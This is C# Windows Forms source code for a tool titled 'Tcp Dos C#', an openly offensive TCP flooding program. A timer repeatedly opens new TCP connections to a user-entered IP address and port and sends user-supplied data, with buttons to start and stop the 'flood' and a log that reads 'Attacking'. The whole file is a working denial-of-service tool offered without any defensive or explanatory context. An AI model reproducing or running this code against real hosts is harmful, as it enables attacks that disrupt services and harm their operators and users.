Tcp Dos C#

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Net;
using System.Net.Sockets;
using System.IO;
namespace WindowsFormsApp14
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }
        Socket client;
        byte[] TcpPackets;
        public void Flood()
        {
            try
            {
                listBox1.Items.Add("Attacking" + " " + IP_Address.Text + " "+ "With Data");
                string IP = IP_Address.Text;
                string strport = Port.Text;
                int port;
                port = int.Parse(strport);
                TcpPackets = System.Text.ASCIIEncoding.ASCII.GetBytes(Data.Text);
                IPEndPoint EP = new IPEndPoint(IPAddress.Parse(IP), port);
                client = new Socket(EP.AddressFamily, SocketType.Stream, ProtocolType.Tcp);
                client.Connect(EP);
                client.SendTo(TcpPackets, EP);
            }
            catch (Exception)
            {
                MessageBox.Show("Enter A Valid IP/Port");
            }
        }
        private void FloodTimer_Tick(object sender, EventArgs e)
        {
            Flood();
        }

        private void StartFlood_Click(object sender, EventArgs e)
        {
            FloodTimer.Enabled = true;
        }

        private void ClearTxt_Click(object sender, EventArgs e)
        {
            listBox1.Items.Clear();
            IP_Address.Clear();
            Port.Clear();
            Data.Clear();
        }

        private void StopFlood_Click(object sender, EventArgs e)
        {
            FloodTimer.Enabled = false;
        }

        private void Button1_Click(object sender, EventArgs e)
        {
            TcpPackets.Clone();
        }
    }
}